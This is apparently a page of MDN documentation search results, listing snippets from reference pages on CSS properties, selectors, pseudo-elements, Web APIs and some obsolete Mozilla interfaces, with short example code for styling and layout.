... all characters can also be represented with their respective unicode code points in hexadecimal, in which case they are preceded by a backslash (\).
... importantly, certain characters which would otherwise be invalid can be escaped with a backslash.
...And 9 more matches
text-rendering - CSS: Cascading Style Sheets
one very visible effect is optimizelegibility, which enables ligatures (ff, fi, fl, etc.) in text smaller than 20px for some fonts (for example, microsoft's calibri, candara, constantia, and corbel, or the dejavu font family).
... syntax values auto the browser makes educated guesses about when to optimize for speed, legibility, and geometric precision while drawing text.
...certain aspects of fonts — such as kerning — don't scale linearly.
...And 9 more matches
touch-action - CSS: Cascading Style Sheets
the touch-action css property sets how an element's region can be manipulated by a touchscreen user (for example, by zooming features built into the browser).
...an application using pointer events will receive a pointercancel event when the browser starts handling a touch gesture.
... by explicitly specifying which gestures should be handled by the browser, an application can supply its own behavior in pointermove and pointerup listeners for the remaining gestures.
...And 9 more matches
transform - CSS: Cascading Style Sheets
WebCSStransform
the transform css property lets you rotate, scale, skew, or translate an element.
...in that case, the element will act as a containing block for any position: fixed; or position: absolute; elements that it contains.
... only transformable elements can be transformed.
...And 9 more matches
url() - CSS: Cascading Style Sheets
WebCSSurl()
the url() function can be passed as a parameter of another css functions, like the attr() function.
... depending on the property for which it is a value, the resource sought can be an image, font, or a stylesheet.
... the url() function can be included as a value for background, background-image, list-style, list-style-image, content, cursor, border, border-image, border-image-source, mask, mask-image, src as part of a @font-face block, and @counter-style/symbol in css level 1, the url() functional notation described only true urls.
...And 9 more matches
String.prototype.toLocaleLowerCase() - JavaScript
the tolocalelowercase() method returns the calling string value converted to lower case, according to any locale-specific case mappings.
... syntax str.tolocalelowercase() str.tolocalelowercase(locale) str.tolocalelowercase([locale, locale, ...]) parameters locale optional the locale parameter indicates the locale to be used to convert to lower case according to any locale-specific case mappings.
... if multiple locales are given in an array, the best available locale is used.
...And 9 more matches
application/http-index-format specification - Archive of obsolete content
the application/http-index-format file format is an attempt to provide a generic, extensible file listing format that is principly machine readable.
...all lines must be terminated by a carriage return followed by a line feed.
...any illegal characters must be escaped via the url escaping syntax defined by rfc 1738.
...And 8 more matches
nsIApplicationCacheChannel
netwerk/base/public/nsiapplicationcachechannel.idlscriptable this interface is implemented by communication channels that support application caches.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsiapplicationcachecontainer last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void markofflinecacheentryasforeign(); attributes attribute type description chooseapplicationcache boolean when true, the channel will choose an application cache if one was not explicitly provided and none is available from the notification callbacks.
...exceptions thrown ns_error_already_opened if set after calling asyncopen() on the channel.
...And 8 more matches
:visited - CSS: Cascading Style Sheets
WebCSS:visited
for privacy reasons, the styles that can be modified using this selector are very limited.
... styling restrictions for privacy reasons, browsers strictly limit which styles you can apply using this pseudo-class, and how they can be used: allowable css properties are color, background-color, border-color, border-bottom-color, border-left-color, border-right-color, border-top-color, column-rule-color, outline-color, text-decoration-color, and text-emphasis-color.
...the alpha component of the element's non-:visited state will be used instead, except when that component is 0, in which case the style set in :visited will be ignored entirely.
...And 8 more matches
font-weight - CSS: Cascading Style Sheets
the font-weight property can separately be used to set how thick or thin characters in text should be displayed.
... for a particular font family, authors can download various font faces which correspond to the different styles of the same font family, and then use the font-weight descriptor to explicitly specify the font face's weights.
... in earlier versions of the font-weight specification, the property accepts only keyword values and the numeric values 100, 200, 300, 400, 500, 600, 700, 800, and 900; non-variable fonts can only really make use of these set values, although fine-grained values (e.g.
...And 8 more matches
@keyframes - CSS: Cascading Style Sheets
description javascript can access the @keyframes at-rule with the css object model interface csskeyframesrule.
... you can list the keyframe percentages in any order; they will be handled in the order they should occur.
...this can be used to animate an element from its initial state and back.
...And 8 more matches
@supports - CSS: Cascading Style Sheets
WebCSS@supports
this is called a feature query.
... @supports (display: grid) { div { display: grid; } } @supports not (display: grid) { div { float: right; } } in javascript, @supports can be accessed via the css object model interface csssupportsrule.
...precedence of operators can be defined with parentheses.
...And 8 more matches
Consistent list indentation - CSS: Cascading Style Sheets
this often leads to frustration, because what works in one browser often doesn't have the same effect in another.
... for example, if you declare that lists have no left margin, they move over in internet explorer, but sit stubbornly in place in gecko-based browsers.this article will help you understand the problems that can occur and how to avoid them.
... in order to understand why this is the case, and more importantly how to avoid the problem altogether, it's necessary to examine the details of list construction.
...And 8 more matches
Inline formatting context - CSS: Cascading Style Sheets
in a vertical writing mode they would be laid out vertically starting at the top.
...the boxes in the horizontal writing mode run horizontally, and the vertical writing mode boxes run vertically.
... boxes forming a line are contained by a rectangular area called a line box.
...And 8 more matches
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
media queries can also be used to help users with disabilities understand your website better.
... reduced motion blinking and flashing animation can be problematic for people with cognitive concerns such as attention deficit hyperactivity disorder (adhd).
... additionally, certain kinds of motion can be a trigger for vestibular disorders, epilepsy, and migraine and scotopic sensitivity.
...And 8 more matches
CSS reference - CSS: Cascading Style Sheets
WebCSSReference
use this css reference to browse an alphabetical index of all of the standard css properties, pseudo-classes, pseudo-elements, data types, and at-rules.
... you can also browse key css concepts and a list of selectors organized by type.
...t-styleborder-left-widthborder-radiusborder-rightborder-right-colorborder-right-styleborder-right-widthborder-spacingborder-start-end-radiusborder-start-start-radiusborder-styleborder-topborder-top-colorborder-top-left-radiusborder-top-right-radiusborder-top-styleborder-top-widthborder-widthbottom@bottom-centerbox-decoration-breakbox-shadowbox-sizingbreak-afterbreak-beforebreak-insidebrightness()ccalc()caption-sidecaret-colorch@character-variantcharacter-variant()@charset:checkedcircle()clamp()clearclipclip-pathcm<color>colorcolor-adjustcolumn-countcolumn-fillcolumn-gapcolumn-rulecolumn-rule-colorcolumn-rule-stylecolumn-rule-widthcolumn-spancolumn-widthcolumnsconic-gradient()containcontentcontrast()<counter>counter-incrementcounter-resetcounter-set@counter-stylecounters()cross-fade()cubic-be...
...And 8 more matches
Syntax - CSS: Cascading Style Sheets
WebCSSSyntax
the basic goal of the cascading stylesheet (css) language is to allow a browser engine to paint elements of the page with specific features, like colors, positioning, or decorations.
...a property and value pair is called a declaration, and any css engine calculates which declarations apply to every single element of a page in order to appropriately lay it out, and to style it.
... both properties and values are case-insensitive by default in css.
...And 8 more matches
background-repeat - CSS: Cascading Style Sheets
a background image can be repeated along the horizontal and vertical axes, or not repeated at all.
... by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed from end to end (using space).
... syntax /* keyword values */ background-repeat: repeat-x; background-repeat: repeat-y; background-repeat: repeat; background-repeat: space; background-repeat: round; background-repeat: no-repeat; /* two-value syntax: horizontal | vertical */ background-repeat: repeat space; background-repeat: repeat repeat; background-repeat: round space; background-repeat: no-repeat round; /* global values */ background-repeat: inherit; background-repeat: initial; background-repeat: unset; values <repeat-style> the one-value syntax is a shorthand for the full two-value syntax: single value two-value equivalent repeat-x repeat no-repeat repeat-y no-repeat repeat repeat repeat repeat space space space roun...
...And 8 more matches
background - CSS: Cascading Style Sheets
ckground-attachment background-clip background-color background-image background-origin background-position background-repeat background-size syntax /* using a <background-color> */ background: green; /* using a <bg-image> and <repeat-style> */ background: url("test.jpg") repeat-y; /* using a <box> and <background-color> */ background: border-box red; /* a single image, centered and scaled */ background: no-repeat center/80% url("../img/image.png"); the background property is specified as one or more background layers, separated by commas.
...if the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document.
... mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:background-image: nonebackground-position: 0% 0%background-size: auto autobackground-repeat: repeatbackground-origin: padding-boxbackground-clip: border-boxbackground-attachment: scrollbackground-color: transparentapplies toall elements.
...And 8 more matches
border-image-slice - CSS: Cascading Style Sheets
the above diagram illustrates the location of each region.
...these are repeated, scaled, or otherwise modified in the final border image to match the dimensions of the element.
...it is discarded by default, but is used like a background image if the keyword fill is set.
...And 8 more matches
border-style - CSS: Cascading Style Sheets
this property is a shorthand for the following css properties: border-bottom-style border-left-style border-right-style border-top-style syntax /* keyword values */ border-style: none; border-style: hidden; border-style: dotted; border-style: dashed; border-style: solid; border-style: double; border-style: groove; border-style: ridge; border-style: inset; border-style: outset; /* vertical | horizontal */ border-style: dotted solid; /* top | horizontal | bottom */ border-style: hidden double dashed; /* top | right | bottom | left */ border-style: none solid dotted dashed; /* global values */ border-style: inherit; border-style: initial; border-style: unset; the border-style property may be specified using one, two, three, or four values.
...it can have the following values: none like the hidden keyword, displays no border.
...in the case of table cell and border collapsing, the none value has the lowest priority: if any other conflicting border is set, it will be displayed.
...And 8 more matches
font - CSS: Cascading Style Sheets
WebCSSfont
if font is specified as a system keyword, it must be one of: caption, icon, menu, message-box, small-caption, status-bar.
... for several font-related properties, then: it must include values for: <font-size> <font-family> it may optionally include values for: <font-style> <font-variant> <font-weight> <font-stretch> <line-height> font-style, font-variant and font-weight must precede font-size font-variant may only specify the values defined in css 2.1, that is normal and small-caps font-stretch may only be a single keyword value.
... system font values caption the system font used for captioned controls (e.g., buttons, drop-downs, etc.).
...And 8 more matches
max() - CSS: Cascading Style Sheets
WebCSSmax
the max() function can be used anywhere a <length>, <frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed.
... in the first above example, the width will be at least 400px, but will be wider if the the viewport is more than 2000px wide (in which case 1vw would be 20px, so 20vw would be 400px).
... think of the max() value as providing the minimum value a property can have.
...And 8 more matches
<position> - CSS: Cascading Style Sheets
the <position> (or <bg-position>) css data type denotes a two-dimensional coordinate used to set a location relative to an element box.
... if specified, an offset can be either a relative <percentage> value or an absolute <length> value.
... /* 1-value syntax */ keyword /* either the horizontal or vertical position; the other axis defaults to center */ value /* the position on the x-axis; the y-axis defaults to 50% */ /* 2-value syntax */ keyword keyword /* a keyword for each direction (the order is irrelevant) */ keyword value /* a keyword for horizontal position, value for vertical position */ value keyword /* a value for horizontal position, keyword for vertical position */ value value ...
...And 8 more matches
text-decoration - CSS: Cascading Style Sheets
this means that if an element specifies a text decoration, then a child element can't remove the decoration.
... for example, in the markup <p>this text has <em>some emphasized words</em> in it.</p>, the style rule p { text-decoration: underline; } would cause the entire paragraph to be underlined.
... the style rule em { text-decoration: none; } would not cause any change; the entire paragraph would still be underlined.
...And 8 more matches
stroke-linecap - SVG: Scalable Vector Graphics
the stroke-linecap attribute is a presentation attribute defining the shape to be used at the end of open subpaths when they are stroked.
... note: as a presentation attribute stroke-linecap can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <path>, <polyline>, <line>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the (default) "butt" value --> <line x1="1" y1="1" x2="5" y2="1" stroke="black" stroke-linecap="butt" /> <!-- effect of the "round" value --> <line x1="1" y1="3" x2="5" y2="3" stroke="black" stroke-linecap="round" /> <!-- effect of the "square" value --> <line x1="1" y1="5" x2="5" y2="5" stroke="black" stroke-linecap="square" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4 m1,3 h4...
...And 8 more matches
Displaying notifications (deprecated) - Archive of obsolete content
to see how to use the standard api, please read: using web notifications mobile only in gecko 2.0 available only in firefox mobile as of gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web content, using the standard notification system provided by the operating system.
... for example, on android, notifications appear in the bar at the top of the screen, and in the panel that appears when you drag that bar downward.
... creating a notification the first thing you need to do is create the notification object by using the navigator.moznotification object's createnotification() method, as follows: var notification = navigator.moznotification.createnotification( "hey, check this out!", "this is a notification posted by " + "firefox 4.
...And 7 more matches
nsIApplicationCacheNamespace
netwerk/base/public/nsiapplicationcache.idlscriptable this interface represents an application cache namespace.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) application caches can store a set of namespace entries that affect loads from the application cache.
... if a load from the cache fails to match on an exact cache entry, the namespace entries are searched for a substring match.
...And 7 more matches
RTCPeerConnection.canTrickleIceCandidates - Web APIs
the read-only rtcpeerconnection property cantrickleicecandidates returns a boolean which indicates whether or not the remote peer can accept trickled ice candidates.
... ice trickling is the process of continuing to send candidates after the initial offer or answer has already been sent to the other peer.
... this property is only set after having called rtcpeerconnection.setremotedescription().
...And 7 more matches
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
the -webkit-mask-repeat-y property sets whether and how a mask image is repeated (tiled) vertically.
... /* keyword values */ -webkit-mask-repeat-y: repeat; -webkit-mask-repeat-y: no-repeat; -webkit-mask-repeat-y: space; -webkit-mask-repeat-y: round; /* multiple values */ -webkit-mask-repeat-y: repeat, no-repeat, space; /* global values */ -webkit-mask-repeat-y: inherit; -webkit-mask-repeat-y: initial; -webkit-mask-repeat-y: unset; syntax values repeat the mask image is repeated vertically.
... no-repeat the mask image is not repeated vertically; only one copy of the mask image is drawn in vertical direction.
...And 7 more matches
-ms-high-contrast - CSS: Cascading Style Sheets
the -ms-high-contrast css media feature is a microsoft extension that describes whether the application is being displayed in high contrast mode, and with what color variation.
... high contrast mode is a specialized display mode that prioritizes making content as legible as possible by dynamically replacing foreground and background colors with a user-specified theme.
... active indicates that the subsequent styling rules will be applied when the system is placed in high contrast mode with any color variation.
...And 7 more matches
size - CSS: Cascading Style Sheets
WebCSS@pagesize
most of the time, this size corresponds to the target size of the printed page if applicable.
... size may either be defined with a "scalable" keyword (in this case the page will fill the available dimensions) or with absolute dimensions.
... syntax /* keyword values for scalable size */ size: auto; size: portrait; size: landscape; /* <length> values */ /* 1 value: height = width */ size: 6in; /* 2 values: width then height */ size: 4in 6in; /* keyword values for absolute size */ size: a4; size: b5; size: jis-b4; size: letter; /* mixing size and orientation */ size: a4 portrait; values auto the user agent decides the size of the page.
...And 7 more matches
Attribute selectors - CSS: Cascading Style Sheets
[attr|=value] represents elements with an attribute name of attr whose value can be exactly value or can begin with value immediately followed by a hyphen, - (u+002d).
... [attr operator value i] adding an i (or i) before the closing bracket causes the value to be compared case-insensitively (for characters within the ascii range).
... [attr operator value s] adding an s (or s) before the closing bracket causes the value to be compared case-sensitively (for characters within the ascii range).
...And 7 more matches
Border-radius generator - CSS: Cascading Style Sheets
this tool can be used to generate css3 border-radius effects.
...7 (trigger haslayout) */ } /* grid column setup * ========================================================================== */ .col { display: block; float:left; margin: 1% 0 1% 1.6%; } .col:first-child { margin-left: 0; } /* all browsers except ie6 and lower */ /* * ui component */ .ui-input-slider-container { height: 20px; margin: 10px 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .ui-input-slider-container * { float: left; height: 100%; line-height: 100%; } /* input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px...
... 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: 5px; color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover { background-color: #379b4a; cursor: pointer; } /* * ui component */ /* checkbox */ .ui-checkbox { text-align: center; fon...
...And 7 more matches
Basic Concepts of Multicol - CSS: Cascading Style Sheets
multiple-column layout, usually referred to as multicol, is a specification for laying out content into a set of column boxes much like columns in a newspaper.
... this guide explains how the specification works with some common use case examples.
... the properties defined by the specification are: column-width column-count columns column-rule-color column-rule-style column-rule-width column-rule column-span column-fill column-gap by adding column-count or column-width to an element, that element becomes a multi-column container, or multicol container for short.
...And 7 more matches
Using multi-column layouts - CSS: Cascading Style Sheets
</p> <p> excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
...if column-count is not also set, then the browser will automatically make as many columns as fit in the available width.
...excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum </div> css #wid { column-width: 100px; } result the exact details are described in the css3 specification.
...And 7 more matches
Shapes from box values - CSS: Cascading Style Sheets
the box values allowable as a shape value are: content-box padding-box border-box margin-box the border-radius values are also supported, this means that you can have something in your page with a curved border, and your shape can follow the created shape.
... by using box values for shapes we can wrap our content around the edges defined by these values.
... in all of the examples below i am using an element which has padding, a border, and a margin defined in order that you can see the different ways in which content will flow.
...And 7 more matches
Mozilla CSS extensions - CSS: Cascading Style Sheets
mozilla applications such as firefox support a number of special mozilla extensions to css, including properties, values, pseudo-elements and pseudo-classes, at-rules, and media queries.
... mozilla-only properties and pseudo-classes (avoid using on websites) note: these properties and pseudo-classes will only work in mozilla applications such as firefox, and are not on a standards track.
...once a given property is standardized and implemented without the prefix, the prefixed version is typically dropped after a while.
...And 7 more matches
Cubic Bezier Generator - CSS: Cascading Style Sheets
<html> <canvas id="bezier" width="336" height="336"> </canvas> <form> <label for="x1">x1 = </label><input onchange="updatecanvas();" type="text" maxlength=6 id="x1" value="0.79" class='field'> <label for="y1">y1 = </label><input onchange="updatecanvas();return true;" type="text" maxlength=6 id="y1" value="0.33" class='field'> <label for="x2">x2 = </label><input onchange="updatecanvas();return true;" type="text" maxlength=6 id="x2" value="0.14" class='field'> <label for="y2">y2 = </label><input onchange="updatecanvas();return true;" type="text" maxlength=6 id="y2" value="0.53" class='field'> <br> <output id="output">log</output> </form> </html> .field { width: 40px; } function updatecanvas() { var x1...
... = document.getelementbyid('x1').value; var y1 = document.getelementbyid('y1').value; var x2 = document.getelementbyid('x2').value; var y2 = document.getelementbyid('y2').value; drawbeziercurve(x1, y1, x2, y2); } const radius = 4; // place needed to draw the rulers const rulers = 30.5; const margin = 10.5; const basic_scale_size = 5; // size of 0.1 tick on the rulers var scaling; //limitation: scaling is computed once: if canvas.height/canvas.width change it won't be recalculated var dragsm = 0; // drag state machine: 0 = nodrag, others = object being dragged function initcanvas() { // get the canvas element using the dom var canvas = document.getelementbyid('bezier'); // make sure we don't execute when canvas isn't supported if (canvas.getcontext) { ...
... // use getcontext to use the canvas for drawing var ctx = canvas.getcontext('2d'); scaling = math.min(canvas.height - rulers - margin, canvas.width - rulers - margin); canvas.onmousedown = mousedown; canvas.onmouseup = mouseup; } else { alert('you need safari or firefox 1.5+ to see this demo.'); } } function cx(x) { return x * scaling + rulers; } function reversex(x) { return (x - rulers) / scaling; } function lx(x) { //used when drawing vertical lines to prevent subpixel blur var result = cx(x); return math.round(result) == result ?
...And 7 more matches
background-position - CSS: Cascading Style Sheets
it can be defined using one to four values.
... if two non-keyword values are used, the first value represents the horizontal position and the second represents the vertical position.
...thus a value of 50% horizontally or vertically centers the background image as the 50% of the image will be at the 50% mark of the container.
...And 7 more matches
border - CSS: Cascading Style Sheets
WebCSSborder
this is because the style defaults to none.
...importantly, border cannot be used to specify a custom value for border-image, but instead sets it to its initial value, i.e., none.
...to make them different from each other, however, you can use the longhand border-width, border-style, and border-color properties, which accept different values for each side.
...And 7 more matches
box-sizing - CSS: Cascading Style Sheets
the box-sizing css property sets how the total width and height of an element is calculated.
... the box-sizing property can be used to adjust this behavior: content-box gives you the default css box-sizing behavior.
...this typically makes it much easier to size elements.
...And 7 more matches
break-inside - CSS: Cascading Style Sheets
we also have a <figure> containing an image and a caption.
... by default, it is possible for you to get a break between the image and its caption, which is not what we want.
... to avoid this, we have set break-inside: avoid on the <figure>, which causes them to always stay together.
...And 7 more matches
counters() - CSS: Cascading Style Sheets
WebCSScounters
the counters() css function enables nested counters, returning a concatenated string representing the current values of the named counters, if there are any.
...it is generally used with pseudo-elements, but can be used, theoretically, anywhere a <string> value is supported.
...the counters are rendered in the style indicated, defaulting to decimal if no style is specified.
...And 7 more matches
font-variant-ligatures - CSS: Cascading Style Sheets
res: normal; font-variant-ligatures: none; font-variant-ligatures: common-ligatures; /* <common-lig-values> */ font-variant-ligatures: no-common-ligatures; /* <common-lig-values> */ font-variant-ligatures: discretionary-ligatures; /* <discretionary-lig-values> */ font-variant-ligatures: no-discretionary-ligatures; /* <discretionary-lig-values> */ font-variant-ligatures: historical-ligatures; /* <historical-lig-values> */ font-variant-ligatures: no-historical-ligatures; /* <historical-lig-values> */ font-variant-ligatures: contextual; /* <contextual-alt-values> */ font-variant-ligatures: no-contextual; /* <contextual-alt-values> */ /* global values */ font-variant-ligatures: inherit; font-variant-ligatures: initial; font-variant-ligat...
... <historical-lig-values> these values control the ligatures used historically, in old books, like the german tz digraph being displayed ß.
...two values are possible: historical-ligatures activating these ligatures.
...And 7 more matches
<image> - CSS: Cascading Style Sheets
WebCSSimage
syntax the <image> data type can be represented with any of the following: an image denoted by the <url> data type a <gradient> data type a part of the webpage, defined by the element() function an image, image fragment or solid patch of color, defined by the image() function a blending of two or more images defined by the cross-fade() function.
... description css can handle the following kinds of images: images with intrinsic dimensions (a natural size), like a jpeg, png, or other raster format.
...(in this case, the intrinsic dimensions will be those of the image largest in area and the aspect ratio most similar to the containing box.) images with no intrinsic dimensions but with an intrinsic aspect ratio between its width and height, like an svg or other vector format.
...And 7 more matches
<integer> - CSS: Cascading Style Sheets
WebCSSinteger
integers can be used in numerous css properties, such as column-count, counter-increment, grid-column, grid-row, and z-index.
...the calculation is done as if they were real, floating-point numbers; the discrete value is obtained using the floor function.
...\35 escaped unicode characters are not allowed, even if they are an integer (here: 5).
...And 7 more matches
mask-border-slice - CSS: Cascading Style Sheets
syntax /* all sides */ mask-border-slice: 30%; /* vertical | horizontal */ mask-border-slice: 10% 30%; /* top | horizontal | bottom */ mask-border-slice: 30 30% 45; /* top | right | bottom | left */ mask-border-slice: 7 12 14 5; /* using the `fill` keyword */ mask-border-slice: 10% fill 7 12; /* global values */ mask-border-slice: inherit; mask-border-slice: initial; mask-border-slice: unset; the mask-border-slice property may be specified using one to four <number-percentage> values to represent the position of each image slice.
... the optional fill value, if used, can be placed anywhere in the declaration.
...for vector images, the number is relative to the element's size, not the size of the source image, so percentages are generally preferable in these cases.
...And 7 more matches
resize - CSS: Cascading Style Sheets
WebCSSresize
syntax /* keyword values */ resize: none; resize: both; resize: horizontal; resize: vertical; resize: block; resize: inline; /* global values */ resize: inherit; resize: initial; resize: unset; the resize property is specified as a single keyword value from the list below.
... both the element displays a mechanism for allowing the user to resize it, which may be resized both horizontally and vertically.
... vertical the element displays a mechanism for allowing the user to resize it in the vertical direction.
...And 7 more matches
shape-outside - CSS: Cascading Style Sheets
this can be margin-box, border-box, padding-box, or content-box.
... <basic-shape> the float area is computed based on the shape created by of one of inset(), circle(), ellipse(), polygon(), or as added in the level 2 specification path().
... note: user agents must use the potentially cors-enabled fetch method defined by the html5 specification for all urls in a shape-outside value.
...And 7 more matches
text-align - CSS: Cascading Style Sheets
this means it works like vertical-align but in the horizontal direction.
... using a <string> value only, in which case the other value defaults to right.
... match-parent similar to inherit, but the values start and end are calculated according to the parent's direction and are replaced by the appropriate left or right value.
...And 7 more matches
text-underline-position - CSS: Cascading Style Sheets
this is useful for ensuring legibility with chemical and mathematical formulas, which make a large use of subscripts.
... left in vertical writing-modes, this keyword forces the line to be placed on the left side of the text.
... right in vertical writing-modes, this keyword forces the line to be placed on the right side of the text.
...And 7 more matches
Warning: Date.prototype.toLocaleFormat is deprecated - JavaScript
the javascript warning "date.prototype.tolocaleformat is deprecated; consider using intl.datetimeformat instead" occurs when the non-standard date.prototype.tolocaleformat method is used.
... message warning: date.prototype.tolocaleformat is deprecated; consider using intl.datetimeformat instead error type warning.
... the non-standard date.prototype.tolocaleformat method is deprecated and shouldn't be used anymore.
...And 7 more matches
Test your skills: The Cascade - Learn web development
the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on the cascade and inheritance.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... in the example below see if you can match the image above.
...And 6 more matches
RTCIceTransport.getLocalCandidates() - Web APIs
the rtcicetransport method getlocalcandidates() returns an array of rtcicecandidate objects, one for each of the candidates that have been gathered by the local device during the current ice agent session.
... the local candidates are placed in this list by the ice agent prior to being delivered to the local client's code in an icecandidate event so that the client can forward the candidates to the remote peer.
... syntax localcandidates = rtcicetransport.getlocalcandidates(); parameters none.
...And 6 more matches
::after (:after) - CSS: Cascading Style Sheets
WebCSS::after
we can use these classes to add pseudo-elements to the end of paragraphs.
... html <p class="boring-text">here is some plain old boring text.</p> <p>here is some normal text that is neither boring nor exciting.</p> <p class="exciting-text">contributing to mdn is easy and fun.</p> css .exciting-text::after { content: " <- exciting!"; color: green; } .boring-text::after { content: " <- boring"; color: red; } result decorative example we can style text or images in the content property almost any way we want.
... we can also support keyboard users with this technique, by adding a tabindex of 0 to make each span keyboard focusable, and using a css :focus selector.
...And 6 more matches
::first-line (:first-line) - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used with the ::first-line pseudo-element: all font-related properties: font, font-kerning, font-style, font-variant, font-variant-numeric, font-variant-position, font-variant-east-asian, font-variant-caps, font-variant-alternates, font-variant-ligatures, font-synthesis, font-feature-settings, font-language-override, font-weight, font-size, font-size-adjust, font-stretch, and font-family ...
... properties: background-color, background-clip, background-image, background-origin, background-position, background-repeat, background-size, background-attachment, and background-blend-mode the color property word-spacing, letter-spacing, text-decoration, text-transform, and line-height text-shadow, text-decoration, text-decoration-color, text-decoration-line, text-decoration-style, and vertical-align.
...see what i mean?</p> <span>the first line of this text will not receive special styling because it is not a block-level element.</span> css ::first-line { color: blue; text-transform: uppercase; /* warning: do not use these */ /* many properties are invalid in ::first-line pseudo-elements */ margin-left: 20px; text-indent: 20px; } result specifications specification status comment css pseudo-elements level 4the definition of '::first-line' in that specification.
...And 6 more matches
::placeholder - CSS: Cascading Style Sheets
::placeholder { color: blue; font-size: 1.5em; } only the subset of css properties that apply to the ::first-line pseudo-element can be used in a rule using ::placeholder in its selector.
... syntax ::placeholder accessibility concerns color contrast contrast ratio placeholder text typically has a lighter color treatment to indicate that it is a suggestion for what kind of input will be valid, and is not actual input of any kind.
...in order to meet current web content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings.
...And 6 more matches
:checked - CSS: Cascading Style Sheets
WebCSS:checked
/* matches any checked/selected radio, checkbox, or option */ :checked { margin-left: 25px; border: 1px solid blue; } the user can engage this state by checking/selecting an element, or disengage it by unchecking/deselecting the element.
... note: because browsers often treat <option>s as replaced elements, the extent to which they can be styled with the :checked pseudo-class varies from browser to browser.
...: inline-block; margin-top: 12px; padding: 5px 11px; background-color: #ff7; border: 1px solid; border-radius: 3px; } /* show hidden content when the checkbox is checked */ #expand-toggle:checked ~ * .expandable { visibility: visible; } /* style the button when the checkbox is checked */ #expand-toggle:checked ~ #expand-btn { background-color: #ccc; } result image gallery you can use the :checked pseudo-class to build an image gallery with full-size images that show only when the user clicks on a thumbnail.
...And 6 more matches
:focus-visible - CSS: Cascading Style Sheets
(many browsers show a “focus ring” by default in this case.) this selector is useful to provide a different focus indicator based on the user’s input modality (mouse vs.
...=":focus only"><br> <button class="focus-only">:focus only</button><br> <input class="focus-visible-only" value=":focus-visible only"><br> <button class="focus-visible-only">:focus-visible only</button> input, button { margin: 10px; } .focus-only:focus { outline: 2px solid black; } .focus-visible-only:focus-visible { outline: 4px dashed darkorange; } selectively showing the focus indicator a custom control, such as a custom element button, can use :focus-visible to selectively apply a focus indicator only on keyboard-focus.
... <custom-button tabindex="0" role="button">click me</custom-button> custom-button { display: inline-block; margin: 10px; } custom-button:focus { /* provide a fallback style for browsers that don't support :focus-visible */ outline: none; background: lightgrey; } custom-button:focus:not(:focus-visible) { /* remove the focus indicator on mouse-focus for browsers that do support :focus-visible */ background: transparent; } custom-button:focus-visible { /* draw a very noticeable focus style for keyboard-focus on browsers that do support :focus-visible */ outline: 4px dashed darkorange; background: transparent; } polyfill you can polyfill :focus-visible using focus-visible.js.
...And 6 more matches
:target - CSS: Cascading Style Sheets
WebCSS:target
/* selects an element with an id matching the current url's fragment */ :target { border: 2px solid black; } for example, the following url has a fragment (denoted by the # sign) that points to an element called section2: http://www.example.com/index.html#section2 the following element would be selected by a :target selector when the current url is equal to the above: <section id="section2">example</section> syntax :target examples a table of contents the :target pseudo-class can be used to highlight the portion of a page that has been linked to from a table of contents.
... html <h3>table of contents</h3> <ol> <li><a href="#p1">jump to the first paragraph!</a></li> <li><a href="#p2">jump to the second paragraph!</a></li> <li><a href="#nowhere">this link goes nowhere, because the target doesn't exist.</a></li> </ol> <h3>my fun article</h3> <p id="p1">you can target <i>this paragraph</i> using a url fragment.
...isn't that delightful?</p> css p:target { background-color: gold; } /* add a pseudo-element inside the target element */ p:target::before { font: 70% sans-serif; content: "►"; color: limegreen; margin-right: .25em; } /* style italic elements within the target element */ p:target i { color: red; } result pure-css lightbox you can use the :target pseudo-class to create a lightbox without using any javascript.
...And 6 more matches
:valid - CSS: Cascading Style Sheets
WebCSS:valid
syntax :valid examples indicating valid and invalid form fields in this example, we use structures like this, which include extra <span>s to generate content on; we'll use these to provide indicators of valid/invalid data: <div> <label for="fname">first name *: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> to provide these indicators, we use the following css: input + span { po...
...sition: relative; } input + span::before { position: absolute; right: -20px; top: 5px; } input:invalid { border: 2px solid red; } input:invalid + span::before { content: '✖'; color: red; } input:valid + span::before { content: '✓'; color: green; } we set the <span>s to position: relative so that we can position the generated content relative to them.
